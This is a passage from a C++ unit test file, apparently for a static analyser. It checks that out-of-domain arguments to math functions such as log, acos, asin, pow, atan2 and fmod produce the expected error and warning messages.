[invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. 